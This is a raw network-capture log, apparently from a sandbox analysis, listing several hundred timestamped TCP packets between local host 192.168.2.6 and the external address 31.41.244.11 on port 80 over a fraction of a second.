Dec 19, 2024 08:09:14.786824942 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.786874056 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.786926985 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.786989927 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.787655115 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.787775040 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.787803888 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.787827969 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.788600922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.788655996 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.788682938 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.788954973 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.789355993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.789501905 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.789519072 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.789731979 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.790282965 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.790338993 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.790431023 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.790474892 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.791143894 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.791191101 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.791289091 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.791328907 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.791943073 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.792002916 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.792170048 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.792332888 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.792790890 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.792861938 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.792915106 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.793642998 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.793724060 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.793746948 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.793788910 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.794517994 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.794573069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.794625044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.794826984 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.795351982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.795466900 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.795517921 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.796262026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.796319962 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.796375036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.796427011 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.797172070 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.797182083 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.797226906 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.797921896 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.798027992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.798086882 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.798880100 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.798933983 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.798999071 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.799042940 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.799638033 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.799690962 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.799741030 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.799787998 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.800470114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.800539970 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.800595045 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.800638914 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.801318884 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.801438093 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.801491976 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.802172899 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.802226067 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.802284956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.802328110 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.803050995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.803105116 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.803158045 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.803865910 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.803919077 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.803921938 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.803997993 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.804723978 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.804821968 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.804882050 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.805586100 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.805686951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.805740118 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.806492090 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.806504011 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.806539059 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.806562901 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.807318926 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.807368040 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.807451963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.807627916 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.808190107 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.808202028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.808243990 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.808999062 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.809055090 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.809087038 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.809134007 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.809942007 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.809993982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.809995890 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.810050964 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.810709000 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.810785055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.958118916 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.958201885 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.958229065 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.958462954 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.958475113 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.958559990 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.958606958 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.959337950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.959439993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.959505081 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.960231066 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.960289955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.960315943 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.960359097 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.961045980 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.961105108 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.961175919 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.961225033 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.961889982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.961951971 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.961986065 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.962184906 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.962753057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.962816000 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.962819099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.962969065 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.963629961 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.963702917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.963732958 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.963783026 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.964437962 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.964495897 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.964545965 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.964586973 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.965348005 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.965424061 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.965486050 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.966238976 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.966289997 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.966332912 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.966401100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.967014074 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.967061996 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.967123032 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.967170000 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.967861891 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.967907906 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.967941046 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.967982054 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.968765020 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.968812943 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.968820095 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.968986034 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.969564915 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.969619036 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.969670057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.969727039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.970498085 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.970546007 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.970561981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.970612049 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.971281052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.971409082 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.971456051 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.972136974 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.972158909 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.972182989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.972198009 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.973031044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.973079920 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.973131895 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.973841906 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.973893881 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.973978043 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.974021912 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.974715948 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.974766016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.974809885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.974873066 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.975564003 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.975611925 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.975722075 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.975868940 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.976402998 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.976507902 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.976521015 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.976607084 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.977292061 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.977413893 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.977469921 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.978125095 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.978178024 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.978198051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.978240013 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.979015112 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.979060888 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.979111910 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.979268074 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.979799986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.979916096 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.979933977 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.979976892 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.980674982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.980731964 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.980772018 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.980817080 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.981517076 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.981568098 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.981625080 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.981687069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.982376099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.982497931 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.982548952 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.983227015 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.983333111 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.983376980 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.984071970 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.984124899 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.984291077 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.984344959 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.984946966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.984998941 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.985021114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.985116959 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.985793114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.985843897 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.985877037 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.985918045 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.986646891 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.986699104 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.986759901 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.986803055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.987529993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.987576962 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.987610102 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.987651110 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.988346100 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.988390923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.988468885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.988565922 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.989213943 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.989310026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.989361048 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.990045071 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.990092039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.990149021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.990187883 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.990941048 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.990989923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.991050959 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.991092920 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.991769075 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.991894007 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.991940022 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.992651939 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.992706060 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.992763996 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.992806911 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.993527889 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.993583918 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.993617058 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.993638039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.994328976 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.994425058 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.994483948 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.995181084 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.995286942 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.995341063 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.996040106 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.996186018 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.996228933 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.996880054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.996934891 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.996964931 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.997034073 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.997720003 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.997771025 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.997843027 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.997884035 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.998589993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.998640060 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.998665094 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.998704910 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.999466896 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.999516964 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.999558926 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.999600887 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.000288010 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.000335932 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.000405073 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.000533104 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.001158953 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.001269102 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.001326084 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.002017975 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.002114058 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.002159119 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.002824068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.002876043 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.150149107 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.150162935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.150413990 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.150494099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.150511980 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.150559902 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.151154041 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.151278019 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.152020931 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.152081013 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.152096033 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.152863026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.152908087 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.152961016 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.153759956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.153805017 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.153837919 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.154575109 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.154619932 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.154649973 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.155416965 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.155467033 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.155498981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.156270027 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.156316042 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.156445980 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.156697035 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.157133102 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.157241106 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.157284975 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.157982111 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.158051968 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.158097029 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.158828020 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.158938885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.158996105 CET	49802	80	192.168.2.6	31.41.244.11
